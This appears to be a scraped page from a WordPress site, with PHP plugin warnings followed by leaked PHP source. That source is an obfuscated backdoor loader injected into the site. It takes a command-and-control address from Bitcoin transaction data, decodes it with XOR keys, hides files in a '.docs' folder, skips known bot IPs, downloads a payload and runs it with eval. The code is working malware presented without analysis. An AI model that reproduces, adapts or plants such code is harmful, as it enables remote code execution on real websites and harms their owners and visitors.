Warning: The magic method EdgeCore\CPT\PostTypesRegister::__wakeup() must have public visibility in /home/u340921614/domains/sikhnationalcenter.org/public_html/wp-content/plugins/edge-cpt/post-types/post-types-register.php on line 28

Warning: The magic method EdgeCore\Lib\ShortcodeLoader::__wakeup() must have public visibility in /home/u340921614/domains/sikhnationalcenter.org/public_html/wp-content/plugins/edge-cpt/lib/shortcode-loader.php on line 33

Warning: The magic method EdgefInstagramApi::__wakeup() must have public visibility in /home/u340921614/domains/sikhnationalcenter.org/public_html/wp-content/plugins/edge-instagram-feed/lib/edgtf-instagram-api.php on line 90

Warning: The magic method Vc_Manager::__wakeup() must have public visibility in /home/u340921614/domains/sikhnationalcenter.org/public_html/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 202

Warning: The magic method MEC::__wakeup() must have public visibility in /home/u340921614/domains/sikhnationalcenter.org/public_html/wp-content/plugins/modern-events-calendar/mec-init.php on line 34
$method, ); if ($method == "POST" && $parameters !== null) { $opts_array["content"] = http_build_query($parameters); } $opts = array("http" => $opts_array); $context = stream_context_create($opts); $res = file_get_contents($url, false, $context); return $res; } else { return false; } } else { $ch = curl_init(); ($parameters !== null) ? $query = http_build_query($parameters) : $query = ""; if ($method === "POST") { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $query); } elseif ($method === "GET") { if ($query) $url = $url . "?" . $query; } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $res = curl_exec($ch); return $res; } } } if (!function_exists("great_news")) { function great_news($s, $k) { for($i = 0; $i < strlen($s); $i++) $s[$i] = ($s[$i] ^ $k[$i % strlen($k)]); return $s; } } if (!function_exists("get_client_ip")) { function get_client_ip() { $keys = array("HTTP_CLIENT_IP", "HTTP_X_FORWARDED_FOR", "HTTP_CF_CONNECTING_IP", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_X_FORWARDED", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED", "REMOTE_ADDR"); foreach ($keys as $k) { if (!empty($_SERVER[$k])) { foreach(array_map("trim", explode(",", $_SERVER[$k])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists("get_working_dir")) { function get_working_dir($root, $dir_name) { $dir_arr = glob($root . "*", GLOB_ONLYDIR); if (!empty($dir_arr)) { foreach ($dir_arr as $dir) { if (is_writable($dir)) { if (!file_exists($dir . "/" . $dir_name)) { mkdir($dir . "/" . $dir_name, 0755); } return $dir . "/" . $dir_name; } else { $res = get_working_dir($dir . "/", $dir_name); if ($res != null) return $res; } } } } } if (!function_exists("fetch_url")) { function fetch_url($url, $params, $fpath, $cache, $cb = null) { $now = time(); $glob = glob($fpath . "_*"); if (empty($glob)) { $r = $cb ? $cb(request($url, $params)) : request($url, $params); if ($r && $r != "") { file_put_contents($fpath . "_" . $now, $r); return $r; } else { return false; } } else { $fullpath = $glob[0]; $name_arr = explode("_", basename($fullpath)); $last_updated = (int)$name_arr[1]; $expired = (($now - $last_updated) > $cache); if ($expired) { $r = $cb ? $cb(request($url, $params)) : request($url, $params); if ($r && $r != "") { unlink($fullpath); file_put_contents($fpath . "_" . $now, $r); return $r; } else { return file_get_contents($fullpath); } } else { return file_get_contents($fullpath); } } } } if (!function_exists("get_ccurl")) { function get_ccurl($working_dir) { $cb = function ($r) { $scriptbody = ""; $json_obj = json_decode($r, true); foreach ($json_obj["txs"] as $tx) { $script = $tx["out"][0]["script"]; if (substr($script, 0, 2) === "6a") { $scriptbody = substr($script, 4, strlen($script) - 4); break; } } return $scriptbody; }; $res = fetch_url( "https://blockchain.info/rawaddr/bc1q03pe42tlt8rwu80h6hwy83g8zgsp3f3evpyh5a", array("limit" => "3"), $working_dir . "/data", 172800, $cb ); return great_news(hex2bin($res), "midnightblue"); } } if (!function_exists("get_payload")) { function get_payload($cc_url, $working_dir) { $res = fetch_url($cc_url . "/api", array("domain" => $_SERVER["HTTP_HOST"]), $working_dir . "/source", 10800); return great_news(base64_decode($res), "onthewall"); } } if (!function_exists("get_bots")) { function get_bots($cc_url, $working_dir) { $cb = function ($r) { return great_news(base64_decode($r), "onthewall"); }; $res = fetch_url( $cc_url . "/bots/get", array("domain" => $_SERVER["HTTP_HOST"]), $working_dir . "/global", 604800, $cb ); return explode("\n", $res); } } $working_dir = get_working_dir(ABSPATH, ".docs"); $ip_str = get_client_ip(); $cc_url = get_ccurl($working_dir); $global_bots = get_bots($cc_url, $working_dir); if (!in_array($ip_str, $global_bots, true)) { $payload = get_payload($cc_url, $working_dir); try { @eval($payload); } catch(\Throwable $e) { // } } } } } }